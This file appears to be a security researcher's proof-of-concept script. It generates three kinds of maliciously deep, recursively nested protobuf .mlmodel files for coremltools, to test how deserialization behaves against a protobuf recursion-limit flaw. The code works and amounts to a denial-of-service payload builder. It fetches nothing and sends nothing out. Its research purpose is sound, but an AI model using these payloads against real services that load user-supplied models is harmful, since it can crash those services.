""" PoC builder for focus-02-protobuf-mlmodel-deserialization. Builds three families of maliciously-nested but syntactically valid protobuf payloads using the *_pb2 stubs shipped inside coremltools itself (no protoc needed), matching the three independent recursive cycles identified in the candidate finding: 1. Model.pipeline.models[0] -> Model -> pipeline.models[0] -> ... (Pipeline cycle) 2. MILSpec.Operation.blocks[0].operations[0] -> Operation -> ... (MIL control-flow cycle) 3. NeuralNetwork.layers[0].branch.ifBranch -> NeuralNetwork -> ... (NeuralNetwork branch cycle) IMPORTANT (empirical finding during PoC development, documented in the evidence log): building/serializing very deep chains (>= ~2000-5000 levels) through the accelerated "upb" backend can itself crash the whole Python process natively (no Python traceback at all) — this is a DIFFERENT and separate phenomenon from the CVE-2025-4565 parsing recursion limit, and is NOT the attacker-facing scenario (an attacker crafts the .mlmodel bytes once, offline, by whatever means; the victim only ever calls ParseFromString/load_spec on the resulting bytes). To build reliably at all requested depths regardless of host backend, this script always constructs the message with PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python forced AND a worker thread with an enlarged OS stack + raised sys.setrecursionlimit, so that building the payload never becomes the bottleneck under test. The resulting bytes are then used, unmodified, to drive the actual test of interest: how the DESERIALIZATION path (ParseFromString/load_spec) behaves under each backend/version, which is done by separate scripts (test_parse_default_backend.py, test_parse_forced_backend.py). Run with any venv's python (does not need to be the venv under test — the resulting .mlmodel bytes are backend-agnostic wire format), e.g.: verify/venv-protobuf/Scripts/python.exe build_payloads.py --outdir out """ import argparse import os import sys import threading os.environ.setdefault("PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION", "python") def build_pipeline_chain(depth): from coremltools.proto import Model_pb2 root = Model_pb2.Model() root.specificationVersion = 1 cur = root for _ in range(depth): nested = cur.pipeline.models.add() nested.specificationVersion = 1 cur = nested cur.identity.SetInParent() return root.SerializeToString() def build_mil_block_chain(depth): """Model.mlProgram.functions['main'].block_specializations['CoreML5'] is a Block; Block.operations[i] is an Operation; Operation.blocks[j] is a Block. Chain Operation->Block->Operation->Block->... """ from coremltools.proto import Model_pb2 root = Model_pb2.Model() root.specificationVersion = 5 prog = root.mlProgram prog.version = 1 fn = prog.functions["main"] fn.opset = "CoreML5" block = fn.block_specializations["CoreML5"] cur_block = block for _ in range(depth): op = cur_block.operations.add() op.type = "const" nested_block = op.blocks.add() cur_block = nested_block return root.SerializeToString() def build_neuralnetwork_branch_chain(depth): """NeuralNetwork.layers[i].branch.ifBranch is itself a NeuralNetwork message (BranchLayerParams { NeuralNetwork ifBranch; NeuralNetwork elseBranch; }). Chain NeuralNetwork->BranchLayer->NeuralNetwork->... """ from coremltools.proto import Model_pb2 root = Model_pb2.Model() root.specificationVersion = 3 cur_nn = root.neuralNetwork for _ in range(depth): layer = cur_nn.layers.add() layer.name = "branch" layer.branch.SetInParent() cur_nn = layer.branch.ifBranch return root.SerializeToString() BUILDERS = { "pipeline": build_pipeline_chain, "mil_block": build_mil_block_chain, "nn_branch": build_neuralnetwork_branch_chain, } def build_in_big_stack_thread(builder, depth): """Run `builder(depth)` in a worker thread with a large OS stack and a raised Python recursion limit, so that building itself never fails for the depths we care about (the thing under test is parsing, not building).""" old_limit = sys.getrecursionlimit() sys.setrecursionlimit(max(old_limit, depth * 20 + 1000)) threading.stack_size(64 * 1024 * 1024) # 64MB worker stack result = {} def worker(): try: result["data"] = builder(depth) except RecursionError: result["error"] = "RecursionError" except Exception as e: # pragma: no cover - diagnostic only result["error"] = f"{type(e).__name__}: {e}" t = threading.Thread(target=worker) t.start() t.join() sys.setrecursionlimit(old_limit) return result def main(): ap = argparse.ArgumentParser() ap.add_argument("--outdir", required=True) ap.add_argument("--depths", default="50,150,1000,5000") ap.add_argument("--families", default="pipeline,mil_block,nn_branch") args = ap.parse_args() os.makedirs(args.outdir, exist_ok=True) depths = [int(d) for d in args.depths.split(",")] families = args.families.split(",") for fam in families: builder = BUILDERS[fam] for depth in depths: result = build_in_big_stack_thread(builder, depth) if "data" in result: data = result["data"] path = os.path.join(args.outdir, f"{fam}_depth{depth}.mlmodel") with open(path, "wb") as f: f.write(data) print(f"[BUILD] {fam} depth={depth}: {len(data)} bytes -> {path}") else: print(f"[BUILD] {fam} depth={depth}: FAILED TO BUILD ({result.get('error')})") if __name__ == "__main__": main()